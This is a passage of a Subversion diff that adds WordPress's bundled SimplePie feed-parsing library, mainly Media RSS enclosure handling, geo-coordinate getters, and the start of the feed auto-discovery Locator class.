+								{
+									$rating_scheme = null;
+									$rating_value = null;
+									if (isset($rating['attribs']['']['scheme']))
+									{
+										$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$rating_scheme = 'urn:simple';
+									}
+									if (isset($rating['data']))
+									{
+										$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+								}
+								if (is_array($ratings))
+								{
+									$ratings = array_values(array_unique($ratings));
+								}
+							}
+							else
+							{
+								$ratings = $ratings_parent;
+							}
+
+							// RESTRICTIONS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+								{
+									$restriction_relationship = null;
+									$restriction_type = null;
+									$restriction_value = null;
+									if (isset($restriction['attribs']['']['relationship']))
+									{
+										$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($restriction['attribs']['']['type']))
+									{
+										$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($restriction['data']))
+									{
+										$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+								}
+								if (is_array($restrictions))
+								{
+									$restrictions = array_values(array_unique($restrictions));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+								{
+									$restriction_relationship = null;
+									$restriction_type = null;
+									$restriction_value = null;
+									if (isset($restriction['attribs']['']['relationship']))
+									{
+										$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($restriction['attribs']['']['type']))
+									{
+										$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($restriction['data']))
+									{
+										$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+								}
+								if (is_array($restrictions))
+								{
+									$restrictions = array_values(array_unique($restrictions));
+								}
+							}
+							else
+							{
+								$restrictions = $restrictions_parent;
+							}
+
+							// THUMBNAILS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+								{
+									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+								}
+								if (is_array($thumbnails))
+								{
+									$thumbnails = array_values(array_unique($thumbnails));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+								{
+									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+								}
+								if (is_array($thumbnails))
+								{
+									$thumbnails = array_values(array_unique($thumbnails));
+								}
+							}
+							else
+							{
+								$thumbnails = $thumbnails_parent;
+							}
+
+							// TITLES
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+							{
+								$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+							{
+								$title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							else
+							{
+								$title = $title_parent;
+							}
+
+							$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width));
+						}
+					}
+				}
+			}
+
+			// If we have standalone media:content tags, loop through them.
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
+			{
+				foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
+				{
+					if (isset($content['attribs']['']['url']) || isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+					{
+						// Attributes
+						$bitrate = null;
+						$channels = null;
+						$duration = null;
+						$expression = null;
+						$framerate = null;
+						$height = null;
+						$javascript = null;
+						$lang = null;
+						$length = null;
+						$medium = null;
+						$samplingrate = null;
+						$type = null;
+						$url = null;
+						$width = null;
+
+						// Elements
+						$captions = null;
+						$categories = null;
+						$copyrights = null;
+						$credits = null;
+						$description = null;
+						$hashes = null;
+						$keywords = null;
+						$player = null;
+						$ratings = null;
+						$restrictions = null;
+						$thumbnails = null;
+						$title = null;
+
+						// Start checking the attributes of media:content
+						if (isset($content['attribs']['']['bitrate']))
+						{
+							$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['channels']))
+						{
+							$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['duration']))
+						{
+							$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$duration = $duration_parent;
+						}
+						if (isset($content['attribs']['']['expression']))
+						{
+							$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['framerate']))
+						{
+							$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['height']))
+						{
+							$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['lang']))
+						{
+							$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['fileSize']))
+						{
+							$length = ceil($content['attribs']['']['fileSize']);
+						}
+						if (isset($content['attribs']['']['medium']))
+						{
+							$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['samplingrate']))
+						{
+							$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['type']))
+						{
+							$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['width']))
+						{
+							$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['url']))
+						{
+							$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
+
+						// CAPTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+							{
+								$caption_type = null;
+								$caption_lang = null;
+								$caption_startTime = null;
+								$caption_endTime = null;
+								$caption_text = null;
+								if (isset($caption['attribs']['']['type']))
+								{
+									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['lang']))
+								{
+									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['start']))
+								{
+									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['end']))
+								{
+									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['data']))
+								{
+									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+							}
+							if (is_array($captions))
+							{
+								$captions = array_values(array_unique($captions));
+							}
+						}
+						else
+						{
+							$captions = $captions_parent;
+						}
+
+						// CATEGORIES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+						{
+							foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+							{
+								$term = null;
+								$scheme = null;
+								$label = null;
+								if (isset($category['data']))
+								{
+									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($category['attribs']['']['scheme']))
+								{
+									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$scheme = 'http://search.yahoo.com/mrss/category_schema';
+								}
+								if (isset($category['attribs']['']['label']))
+								{
+									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+							}
+						}
+						if (is_array($categories) && is_array($categories_parent))
+						{
+							$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
+						}
+						elseif (is_array($categories))
+						{
+							$categories = array_values(array_unique($categories));
+						}
+						elseif (is_array($categories_parent))
+						{
+							$categories = array_values(array_unique($categories_parent));
+						}
+						else
+						{
+							$categories = null;
+						}
+
+						// COPYRIGHTS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+						{
+							$copyright_url = null;
+							$copyright_label = null;
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+							{
+								$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+							{
+								$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+						}
+						else
+						{
+							$copyrights = $copyrights_parent;
+						}
+
+						// CREDITS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+							{
+								$credit_role = null;
+								$credit_scheme = null;
+								$credit_name = null;
+								if (isset($credit['attribs']['']['role']))
+								{
+									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($credit['attribs']['']['scheme']))
+								{
+									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$credit_scheme = 'urn:ebu';
+								}
+								if (isset($credit['data']))
+								{
+									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+							}
+							if (is_array($credits))
+							{
+								$credits = array_values(array_unique($credits));
+							}
+						}
+						else
+						{
+							$credits = $credits_parent;
+						}
+
+						// DESCRIPTION
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+						{
+							$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$description = $description_parent;
+						}
+
+						// HASHES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+							{
+								$value = null;
+								$algo = null;
+								if (isset($hash['data']))
+								{
+									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($hash['attribs']['']['algo']))
+								{
+									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$algo = 'md5';
+								}
+								$hashes[] = $algo.':'.$value;
+							}
+							if (is_array($hashes))
+							{
+								$hashes = array_values(array_unique($hashes));
+							}
+						}
+						else
+						{
+							$hashes = $hashes_parent;
+						}
+
+						// KEYWORDS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+						{
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+							{
+								$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+								foreach ($temp as $word)
+								{
+									$keywords[] = trim($word);
+								}
+								unset($temp);
+							}
+							if (is_array($keywords))
+							{
+								$keywords = array_values(array_unique($keywords));
+							}
+						}
+						else
+						{
+							$keywords = $keywords_parent;
+						}
+
+						// PLAYER
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+						{
+							$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						else
+						{
+							$player = $player_parent;
+						}
+
+						// RATINGS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+							{
+								$rating_scheme = null;
+								$rating_value = null;
+								if (isset($rating['attribs']['']['scheme']))
+								{
+									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$rating_scheme = 'urn:simple';
+								}
+								if (isset($rating['data']))
+								{
+									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+							}
+							if (is_array($ratings))
+							{
+								$ratings = array_values(array_unique($ratings));
+							}
+						}
+						else
+						{
+							$ratings = $ratings_parent;
+						}
+
+						// RESTRICTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+							{
+								$restriction_relationship = null;
+								$restriction_type = null;
+								$restriction_value = null;
+								if (isset($restriction['attribs']['']['relationship']))
+								{
+									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['attribs']['']['type']))
+								{
+									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['data']))
+								{
+									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+							}
+							if (is_array($restrictions))
+							{
+								$restrictions = array_values(array_unique($restrictions));
+							}
+						}
+						else
+						{
+							$restrictions = $restrictions_parent;
+						}
+
+						// THUMBNAILS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+							{
+								$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							if (is_array($thumbnails))
+							{
+								$thumbnails = array_values(array_unique($thumbnails));
+							}
+						}
+						else
+						{
+							$thumbnails = $thumbnails_parent;
+						}
+
+						// TITLES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+						{
+							$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$title = $title_parent;
+						}
+
+						$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width));
+					}
+				}
+			}
+
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure')
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					if (isset($link['attribs']['']['type']))
+					{
+						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($link['attribs']['']['length']))
+					{
+						$length = ceil($link['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
+				}
+			}
+
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure')
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					if (isset($link['attribs']['']['type']))
+					{
+						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($link['attribs']['']['length']))
+					{
+						$length = ceil($link['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
+				}
+			}
+
+			if ($enclosure = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'enclosure'))
+			{
+				if (isset($enclosure[0]['attribs']['']['url']))
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0]));
+					if (isset($enclosure[0]['attribs']['']['type']))
+					{
+						$type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($enclosure[0]['attribs']['']['length']))
+					{
+						$length = ceil($enclosure[0]['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
+				}
+			}
+
+			if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width))
+			{
+				// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+				$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
+			}
+
+			$this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
+		}
+		if (!empty($this->data['enclosures']))
+		{
+			return $this->data['enclosures'];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the latitude coordinates for the item
+	 *
+	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
+	 *
+	 * Uses `<geo:lat>` or `<georss:point>`
+	 *
+	 * @since 1.0
+	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
+	 * @link http://www.georss.org/ GeoRSS
+	 * @return string|null
+	 */
+	public function get_latitude()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the longitude coordinates for the item
+	 *
+	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
+	 *
+	 * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
+	 *
+	 * @since 1.0
+	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
+	 * @link http://www.georss.org/ GeoRSS
+	 * @return string|null
+	 */
+	public function get_longitude()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the `<atom:source>` for the item
+	 *
+	 * @since 1.1
+	 * @return SimplePie_Source|null
+	 */
+	public function get_source()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source'))
+		{
+			return $this->registry->create('Source', array($this, $return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Locator.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Locator.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Locator.php	(revision 56912)
@@ -0,0 +1,372 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Used for feed auto-discovery
+ *
+ *
+ * This class can be overloaded with {@see SimplePie::set_locator_class()}
+ *
+ * @package SimplePie
+ */
+class SimplePie_Locator
+{
+	var $useragent;
+	var $timeout;
+	var $file;
+	var $local = array();
+	var $elsewhere = array();
+	var $cached_entities = array();
+	var $http_base;
+	var $base;
+	var $base_location = 0;
+	var $checked_feeds = 0;
+	var $max_checked_feeds = 10;
+	protected $registry;
+
+	public function __construct(SimplePie_File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10)
+	{
+		$this->file = $file;
+		$this->useragent = $useragent;
+		$this->timeout = $timeout;
+		$this->max_checked_feeds = $max_checked_feeds;
+
+		if (class_exists('DOMDocument'))
+		{
+			$this->dom = new DOMDocument();
+
+			set_error_handler(array('SimplePie_Misc', 'silence_errors'));
+			$this->dom->loadHTML($this->file->body);
+			restore_error_handler();
+		}
+		else
+		{
+			$this->dom = null;
+		}
+	}
+
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	public function find($type = SIMPLEPIE_LOCATOR_ALL, &$working)
+	{
+		if ($this->is_feed($this->file))
+		{
+			return $this->file;
+		}
+
+		if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
+		{
+			$sniffer = $this->registry->create('Content_Type_Sniffer', array($this->file));
+			if ($sniffer->get_type() !== 'text/html')
+			{
+				return null;
+			}
+		}
+
+		if ($type & ~SIMPLEPIE_LOCATOR_NONE)
+		{
+			$this->get_base();
+		}
+
+		if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery())
+		{
+			return $working[0];
+		}
+
+		if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links())
+		{
+			if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere))
+			{
+				return $working;
+			}
+
